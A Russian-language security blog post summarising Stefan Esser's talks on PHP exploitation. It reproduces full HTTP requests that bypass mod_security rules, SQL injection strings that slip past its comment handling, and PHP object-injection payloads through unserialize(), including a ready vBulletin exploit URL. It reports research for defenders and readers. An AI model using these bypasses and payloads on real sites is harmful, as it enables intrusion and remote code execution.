Стефан Эссер снова порадовал очередной порцией свежей информации о новых уязвимостях в своих выступлениях сразу на двух мероприятиях (RSS09 и Powerofcommunity). В частности, он поделился интересными способами обхода таких WAF как mod_security и F5 BIGIP ASM, информацией о возможных уязвимостях в продуктах, работающих на Zend Framework, а также о том, как можно использовать уязвимость, связанной с прерываниями внутренних функций в PHP, несмотря на выпущенные фиксы. Итак, обо всем по порядку.
Обход WAF стал в последнее время очень популярной темой, о чем свидетельствуют последние исследования. Как всегда, под прицелом самый известный из файрволов – mod_security. В последних обновлениях базового набора правил (CORERULES) были включены правила из другого не менее известного продукта из этой же категории – PHP-IDS. Однако сделано это было не совсем правильно. Например, эти правила пропускают запрос, если в его теле был обнаружен заголовок Content-Type со значением multipart/form-data, что обычно указывает на передачу файлов. Вместе с тем некоторые другие правила из CORERULES также подвержены этой ошибке, а следующий запрос полностью обходит всю фильтрацию очень простым способом:
POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx--
------xxxx
Content-Disposition: form-data; name="msg"
With only CORERULES installed you can speak about wget
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--
Примечательно, что Стефан уже публиковал advisory, в котором был предложен похожий способ, но с применением нулл-байта.
Следующий способ обхода mod_security актуален, когда помимо CORERULES используется дополнительное правило MULTIPART_STRICT_ERROR. В предложенном эксплоите, хотя и не упоминается, используется техника HTTP Parameter Pollution:
POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx
Content-Disposition: form-data; name=';filename="';name=payload;"
For ModSecurity I am a file - bypassing all rules
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--
Еще один способ обхода основывается на том, что mod_security перед анализом запроса проводит его корректирование с помощью нескольких функций, в числе которых функция для очистки запроса от комментариев. Этот способ, на самом деле, был найден впервые Дмитрием Евтеевым, так как сообщение о нем было опубликовано в его блоге немного раньше. Впрочем, предложенные примеры обхода совершенно разные, что доказывает независимость их исследований. Сравните:
index.php?x=/*&var=‘ UNION SELECT * FROM user /* /?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
Мне, например, больше нравится второй способ (от Дмитрия), так как он не вызывает ошибку при незакрытом многострочном комментарии (в версиях MySQL от 5.0.50 и 5.1.23 требуется закрывать комментарий).
Последний способ обхода WAF касается коммерческого F5 BIGIP ASM, и также связан с multipart/form-data; пример обхода смотрите в слайдах (ссылка в конце).
Следующая часть посвящена уязвимости в веб-приложениях на PHP, связанной с функцией unserialize() и методом классов __destruct(). Функция unserialize() используется для преобразования сериализованных данных в значение. Она поддерживает такие типы переменных, как строка, число, массив, и, что самое главное, объект. Сериализованные данные обычно не поступают от пользователя, но если веб-приложение допускает такую возможность, то это становится очень серьезной проблемой в безопасности. Здесь стоит вспомнить очень старую уязвимость в phpbb 2.0.12, которая позволяла получить администраторские привилегии в виду неправильной проверки данных из cookie (они передавались сериализованными и без какой-либо проверки на изменения со стороны пользователя). Уязвимый код выглядел таким образом:
<?php if( $sessiondata['autologinid'] == $auto_login_key ) { /* ... */ }
Переменная $auto_login_key имела булево значение true, если передавались такие данные:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
В следующей версии phpbb баг был исправлен заменой оператора сравнения == на ===. В веб-приложениях нынешнего поколения все чаще применяется объектно-ориентированный подход, что открывает возможности для новых атак. В PHP для классов можно определить метод __destruct(), который вызывается всякий раз, когда приложение завершает свою работу (перед отправкой HTTP-ответа). Обычно в деструкторе можно встретить функции, которые завершают текущее соединение с базой данных, удаляют какие-либо временные файлы или локальные переменные. Чем же может быть интересен этот метод? А дело в том, что __destruct() какого-либо объявленного в коде класса вызывается, если десериализовать объект этого класса. Например:
<?php class Test { public function __destruct() { echo 'test'; } } unserialize('O:4:"Test":0:{}');
После запуска этого сценария будет выведена строка test. Как пишет Стефан, он долго искал полезный __destruct(), и в конце концов его поиски увенчались успехом. Речь идет о Zend Framework, являющийся огромным фреймворком с массой классов с деструкторами. Сам ZF не подвержен данной уязвимости, однако приложения, базирующиеся на нем, если допускают попадание пользовательских данных в unserialize(), могут быть с легкостью скомпрометированы. Здесь и выполнение любого кода, и загрузка произвольных файлов, в общем, практически любые действия. ZF имеет очень запутанную структуру, и понять примеры Стефана довольно трудно. Поэтому я решил показать на примере VBulletin, вернее на нулленной вобле нелицензионной версии форума.
В VBulletin имеется класс vB_Shutdown, который представляет интерфейс для удобного вызова функций при завершении работы форума. Этот класс имеет следующий деструктор:
<?php function __destruct() { if (!empty($this->shutdown)) { foreach ($this->shutdown AS $key => $funcname) { $funcname(); unset($this->shutdown[$key]); } } }
Очевидно, что создав объект этого класса со свойством shutdown равным, скажем, phpinfo, мы увидим результат работы этой функции. Вместе с этим, благоприятным является тот факт, что vbulletin активно использует сериализованные данные в параметрах. Однако система не дает просто так менять данные – имеется функция, которая проверяет их достоверность:
<?php function verify_client_string($string, $extra_entropy = '') { /* ... */ $firstpart = substr($string, 0, 40); $return = substr($string, 40); $decode = false; /* ... */ if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart) { return ($decode ? base64_decode($return) : $return); } return false; }
Из кода следует, что для подделки сериализованных данных необходимо знать значение константы COOKIE_SALT, которая равна лицензионному ключу. Кроме того, можно самостоятельно указать это значение путем правки конфигурационного файла ($config[‘Misc’][‘cookie_security_hash’]). В нелицензионных копиях форума по умолчанию значение COOKIE_SALT пустое, поэтому данная функция не играет никакой роли.
В коде форума unserialize() встрчается множество раз, вот один из них (forumdisplay.php):
<?php if ($vbulletin->GPC['postvars'] != '') { if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false) { $temp = unserialize($check); /* ... */ } }
Таким образом, эксплоит для выполнения phpinfo() выглядит так:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Возвращаясь к Zend Framework, стоит сказать, что подобной уязвимости подвержены такие приложения как Magento, Zend Server и PHP-IDS. Последний в сочетании с ZF не только не защищал (до версии 0.6.3.1), но открывал очень простой ход на сервер, так как перед проверкой данных зачем-то пытался их десериализовать.
Вот собственно и все. В слайдах имеется еще одна часть, посвященная так называемым Interruption Vulnerabilities, с которой вы можете ознакомиться по ссылке ниже.
Shocking News In PHP Exploitation
P.S. компания Стефана выпустила постеры для разработчиков, где представлено много полезной информации о безопасном программировании на PHP. Постеры совершенно бесплатны, заказать можно здесь.
Leave a Reply